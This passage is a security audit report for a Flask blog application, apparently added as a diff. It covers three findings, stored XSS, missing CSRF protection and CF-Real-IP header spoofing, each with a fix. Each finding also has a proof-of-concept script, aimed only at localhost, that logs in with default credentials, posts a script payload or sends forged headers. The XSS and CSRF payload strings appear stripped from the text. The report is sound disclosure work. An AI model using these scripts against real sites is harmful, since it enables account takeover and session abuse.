When these posts are viewed, the content is rendered using the `|safe` filter in Jinja2, which prevents escaping. This allows an attacker with login credentials (or via CSRF) to inject malicious scripts that execute in the context of other users' browsers. + +PoC +```python +import urllib.request +import urllib.parse +import http.cookiejar + +# Setup cookie jar to handle sessions +cj = http.cookiejar.CookieJar() +opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) + +base_url = "http://127.0.0.1:5000" + +def login(): + login_url = f"{base_url}/login" + data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8') + req = urllib.request.Request(login_url, data=data) + with opener.open(req) as response: + return response.read() + +def create_post(title, content): + create_url = f"{base_url}/create_post" + data = urllib.parse.urlencode({ + 'title': title, + 'author': 'hacker', + 'tags': 'xss', + 'content': content + }).encode('utf-8') + req = urllib.request.Request(create_url, data=data) + with opener.open(req) as response: + return response.read() + +if __name__ == "__main__": + login() + title = "xss_test" + payload = "This is a test post with XSS: " + create_post(title, payload) + print(f"XSS payload created at {base_url}/post/{title}") +``` + +Fix +Remove the `|safe` filter from `html/post.html` and use a dedicated library like `bleach` to sanitize the HTML output of the markdown renderer before passing it to the template. + +==== + +MEDIUM - Lack of CSRF Protection +The application does not implement Cross-Site Request Forgery (CSRF) protection on critical state-changing routes such as `/login`, `/create_post`, and `/upload`. This allows an attacker to perform actions on behalf of a logged-in user without their consent by tricking them into visiting a malicious website. + +PoC +```html + +
+ +``` + +Fix +Use `flask-wtf` or a similar extension to implement CSRF tokens in all POST forms and verify them on the server side. + +==== + +LOW - IP Spoofing via CF-Real-IP +The application trusts the `CF-Real-IP` header from any incoming request to determine the user's IP address. This header can be easily spoofed by an attacker, leading to incorrect logging or potential bypass of IP-based security measures if they existed. + +PoC +```python +import urllib.request +base_url = "http://127.0.0.1:5000" +req = urllib.request.Request(base_url) +req.add_header('CF-Real-IP', '13.37.13.37') +with urllib.request.urlopen(req) as response: + print("Request sent with spoofed IP header.") +``` + +Fix +Configure the application to only trust `CF-Real-IP` if the request originates from a known and trusted proxy (like Cloudflare's IP ranges). + +==== + +Summary: +| Severity | Exploit Name | +| --- | --- | +| CRITICAL | Stored Cross-Site Scripting (XSS) | +| MEDIUM | Lack of CSRF Protection | +| LOW | IP Spoofing via CF-Real-IP |
